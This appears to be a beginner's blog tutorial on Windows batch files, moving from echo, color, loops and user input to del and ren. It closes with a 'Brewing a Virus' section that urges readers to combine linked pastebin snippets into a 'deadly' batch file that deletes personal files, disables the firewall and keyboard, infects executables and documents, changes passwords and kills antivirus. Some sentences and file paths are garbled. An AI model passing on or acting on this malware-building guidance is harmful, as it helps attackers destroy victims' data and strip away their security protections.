Writing Batch Files

Writing Batch Files

Writing Batch Files

Basic Commands/Your First Batch File

Ok, are you ready to write your first batch file? Let’s get going! First off, open up Notepad.

The first line of code we are going to learn is @echo off. Now what does this line do? Well, it stops your batch file from showing file paths. It makes your program look professional. Just make sure you have this in the first line of notepad.

So, your notepad should have this in it:

Code:
@echo off

Now, have you ever wanted to make your program say something? Well if you do, you have to use the echo command. If I wanted my program to say “Hello World!”… I would type this on the second line of notepad:

Code:
echo Hello World!

So, now your notepad should have this in it:

Code:
@echo off
echo Hello World!

Let’s just say this is our program. Nothing else. If we saved it (you will learn how to later) and ran it, it would pop up then close in less than a second. Why?!  Well, you forgot to tell the program to Pause! What, did you honestly expect it to pause by itself? So, how do you make it pause? Well, you just put the command pause on the next line. So your notepad should look like this now:

Code:
@echo off
echo Hello World!
pause

So what actually happens when the pause command is processed during the run? Well, your batch file will pause and a message will appear. Your batch file will say “Press any key to Continue.” Then when you press a key, it will move on to the next line of code. If there is no code left, the batch file will close. This may be a bit confusing, but let’s run it and you will understand this.

So how do I run my program? Well, first you have to save it. Wait. I know what you’re thinking. You just going to go save it as a text document and then just open it. Yes, that is perfectly… WRONG! You don’t save it as a text file. You must save it as a batch file! To do this, follow these three simple steps.

Step 1: Go to File > Save as

Step 2: Name your file but at the end of the name, insert “.bat” or your batch file will not work at all. For example, I can name it “My Program.bat” and that would work.

Step 3: For the “Save as Type” select “All Files” not “Text Files.”

This is SUPER important. If you don’t do this, it will be saved as a text document.

There, you have just saved your batch file! Now it’s time to run it. Go open the file you just saved. If it does not open, right click the file and select “Run as Administrator.” Once it is open, it should look like this:

[Image: JPWyN.png]

First of all, CONGRATULATIONS! You have just made your first batch file! Now, do you see what the Pause command did? It made the batch file say “Press any key to continue…” Then you pressed a key, and it moved on to the next line of code, which is nothing, so it closed.

==============================

FAQ

How do I Edit my Batch File Again?

Just right click your batch file and click “Edit.” It will then open up in notepad. Make your changes and then go to File > Save. Then close notepad and run your batch file again. All your changes should come into action.

My Batch File Won’t Run! HELP?!

Make sure you are on an administrator account. If it is still not running, right click your batch file and click “Run as Administrator.” The batch file should run. If it does run but it just closes automatically, then there is an error in the source code you wrote. Go back and check that again.

==============================

Spicing up your Batch File

I quite frankly have to admit that the batch file we made a few minutes ago was boring. Some plain grey text on a black background. Exciting.

Well, let’s change that! Let’s spice up this batch file of ours. First of all, let’s make it look much more professional.

Title Change

Run your batch file again and look at the title. It is C:/windows/system32/cmd.exe. Why? Well, when we run our batch file, it calls command prompt. Our batch file is run in command prompt. So cmd (command prompt) is the framework for our batch file. But how do we change this? Well, you just use the title command. Now what does the title command do? This is pretty obvious. It changes the title. So how do we use it? Let’s say I wanted to change the title to “My Program.” I would use this:

Code:
title My Program

It is as simple as that! But where do you put it? Well, let’s just put it right after @echo off. So now your batch file source code should look like this:

Code:
@echo off
title My Program
echo Hello World!
pause

Now let’s test it out. Save your source and then run the batch file again. Now look at the title. It has changed!

[Image: fIiep.png]

Color Command
How about changing colors? Yup, you can do that as well!

But how? Well, you must use the Color command. This will be one of the most confusing things I teach you so hang in there. The color command is pretty simple. You use the word “Color” and you add to 2 characters (a letter or a digit) to change the color. Here is a list of color codes:

0 = Black
1 = Blue
2 = Green
3 = Aqua
4 = Red
5 = Purple
6 = Yellow
7 = White
8 = Gray
9 = Light Blue
A = Light Green
B = Light Aqua
C = Light Red
D = Light Purple
E = Light Yellow
F = Bright White
So the command looks like this:

Code:
Color ??

But you have to change those question marks. Do you see the first question mark in that command? That is where the background color goes. I will choose black, so look up at the chart I just gave you. Black is “0.” The second question mark is the foreground/text color. I want light green. So again, I looked up at the chart above. Light green is “A.” So I want a black background (0) and light green text (a). So my color command will look like this: stands for “Clear Screen.” Now test it out for yourself! So your notepad should have this in it so far:

Code:
color 0a

There! But where do I put this? Well, put this right after the title command. So your source code should look like this:

Code:
@echo off
title My Program
color 0a
echo Hello World!
pause

Loading Effect
Ever wanted a batch file that said “Loading” then the dots increased…? Well I will show you how to do this, it’s simple. Just use this:

Code:
ping localhost -n 2 >nul

Now what does that do? Well first of all, it pauses your program without the pause message (“Press any key to continue”). It does not display the pause message because of the “nul.” But for how long will it pause? You choose! In this example it will only pause for 2 seconds. You can change that 2 to any amount of seconds, but do not change it to 1. Why? Well sometimes the batch file glitches and the loading effect is not shown. So how would you do the loading effect? Well, let me just write the source code and I will explain it.

Code:
@echo off
echo Loading.
ping localhost -n 2 >nul
cls
echo Loading..
ping localhost -n 2 >nul
cls
echo Loading...
ping localhost -n 2 >nul
cls

Ok so what is going on here? Let me explain. First of all, the batch file says “Loading.” and then it pauses for 2 seconds (very quick seconds). After that 2 seconds, it clears the batch file and then it displays “Loading..” so it appears as if the dots or increasing. So, cls clears the screen. [color=#87CEEB]Cls

Code:
@echo off
title My Program
color 0a
echo Loading.
ping localhost -n 2 >nul
cls
echo Loading..
ping localhost -n 2 >nul
cls
echo Loading...
ping localhost -n 2 >nul
cls
echo Hello World!
pause

Now let’s run it!

[Image: UtHjK.gif]

It works! Now, I know some of you HATE reading tutorials, so I decided to make a video for you guys. This will cover everything we have learned so far except for the loading effect (that is pretty easy to understand when you read it).

Start Command + How to Open up a Website

Ever wanted to make a program open using your batch file? Well, all you need to do is use the start command! But this command can get confusing. You must add file paths to make the program start up. Most default programs (Notepad and Internet Explorer) don’t need additional file paths. You just need to use the name of the file. So for example, I will open up notepad.

Code:
start notepad.exe

If I wanted to open up Internet Explorer, you would use this:

Code:
start iexplore.exe

If you wanted to open up a specific website you would use this (but with the link changed):

Code:
start iexplore http://www.google.com

Now, what if you wanted to open up a picture? You need to find the location of the file. So how do you do this? Well, all you need to do is right-click the file and select “Properties.” Then look for the file location.

[Image: Fhuq6.png]

Ok, so I now know where it is located. THAT IS NOT ALL YOU NEED! You also need the file name with the extension. The file I was looking at was name “2″ and it was a .png file so I would add “2.png” to the end of the directory we just found. So, if I wanted to open up that specific picture, I would use:

Code:
Start C:UsersChamanthaDesktop2.png

Loops

These are pretty useful when you think about it. Ever wanted your batch file to do something forever? Instead of copying and pasting lines over and over again, you can just use a loop.

All you need is two commands to make a loop. Those two commands are the label ( :x ) command and the goto command. So let me show you an example.

Code:
@echo off
:A
echo HELLO!
goto :A

Ok so the “:A” is a label. You use the colon (:) and then name the label. I named my label “A.” There, I just set the start of the loop. Then where do I close the loop? Well, you just use the goto command. I inserted goto :A because I want the program to go to A. And “A” was set with the label. So when the program gets to “goto :A” it will go back to the label “A.” So whatever code is inside the loop will repeat over and over again. So in the example I showed you earlier, the batch file will display “HELLO!” over and over again.

Now this command has a dark side too. Be careful. For example, if you make the batch file start notepad over and over again, your computer will eventually crash. The example I showed you is harmless.

User Variables/Interaction

Now this is one of the most advanced set of commands that I will teach you. Get ready!

I believe that examples help you learn more than a lesson. I will combine both so you get the best of both worlds. So first off, what is a user variable? Well, think of it this way. It is a set of commands that allow user input. It is actually pretty cool. Since this is one of the hardest commands to learn by hand, I decided to make you guys a video. Trust me; a visual of user variables is much easier to understand.

Commands Covered in this Tutorial:set /p
if
goto
marker/label
exit

Dangerous Commands

There are some commands that are pretty dangerous. In this section we will cover the del (delete) command and the ren (rename) command.

Del (Delete)

This command is really easy to use. If I wanted to delete that photo that I opened earlier (C:UsersChamanthaDesktop2.png), I would use this:

Code:
del C:UsersChamanthaDesktop2.png

And if I ran a batch file with that command, the picture would be deleted.

Ren (Rename)

What if I wanted to rename that file instead? Let’s pretend I did not delete it. If I wanted to change the name of a text file from 1.txt to 2.txt, I would again need to find the location of the file. Right-click your file and select “Properties.”

[Image: VmQeX.png]

Then at the end of the directory you just found, add the name of the file + the extension. So my file location would be:

Code:
C:UsersChamanthaDesktop1.txt

There, now I just got the location of the file. Now how do I rename it to 2.txt? Well, in my situation, I would use this:

Code:
ren C:UsersChamanthaDesktop1.txt 2.txt

So, at the start of the line, put ren and then the file path. After that, hit the space bar and type in the new name of your file (with the extension). This will successfully rename a file!

Brewing a Virus

Did you really expect Batch to be a safe language? A simple line of code can erase an entire hard drive.

So, some people have learned to manipulate batch files to harm computers. And believe me, they have done a really good job with it.

Before we move on, I would like to warn you. I do not suggest sending harmful batch files to people because they can take legal action against you. I also advise you never open a batch virus unless you are in a controlled virtual environment.

So how do you make a batch virus? Well all you need to do is mix a ton of dangerous lines together and make sure they will run properly. So it’s pretty much mix and match. To brew your virus, I have a ton of dangerous codes organized. Just choose the ones you want and make a big deadly batch file out of them.

Delete

Delete all Documents –

http://pastebin.com/raw.php?i=0NUaHmdf

Delete all Music –

http://pastebin.com/raw.php?i=J9i71axE

Delete all Pictures –

http://pastebin.com/raw.php?i=xCezgByP

Disable

Disable Firewall –

http://pastebin.com/raw.php?i=JaKWPxMM

Disable Internet –

http://pastebin.com/raw.php?i=EWaUMZiS

Disable Keyboard –

http://pastebin.com/raw.php?i=N1z40nvx

Infect

Infect all Batch Files –

http://pastebin.com/raw.php?i=shbHHX7b

Infect all .docs –

http://pastebin.com/raw.php?i=CxzMHNx2

Infect all Drivers –

http://pastebin.com/raw.php?i=iPRmgMs8

Infect all .exe files –

http://pastebin.com/raw.php?i=uurrG403

Infect All HTML Files –

http://pastebin.com/raw.php?i=TuPWye55

Infect CMD –

http://pastebin.com/YX0rgZeX

Block

Block Google –

http://pastebin.com/raw.php?i=in4bq8is

Block Hotmail –

http://pastebin.com/raw.php?i=exVHMc6A

Block MSN –

http://pastebin.com/raw.php?i=UxiATFzQ

Block Wikipedia –

http://pastebin.com/raw.php?i=qEj68gve

Change

Change time to 00:00 –

http://pastebin.com/raw.php?i=ricHiqw7

Change User Password –

http://pastebin.com/raw.php?i=ES9TnWmf

Open

Open Disk Tray –

http://pastebin.com/raw.php?i=VUFfKNfb

Open/Play XP Start up Song –

http://pastebin.com/raw.php?i=vrh9PaKA

Hide

Hide Music Folder –

http://pastebin.com/raw.php?i=yty6wsF8

Kill

Kill Antivirus –

http://pastebin.com/raw.php?i=KeHbNzKy

Spam

Spam /C Drive –

http://pastebin.com/raw.php?i=fpcG9ZCR

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s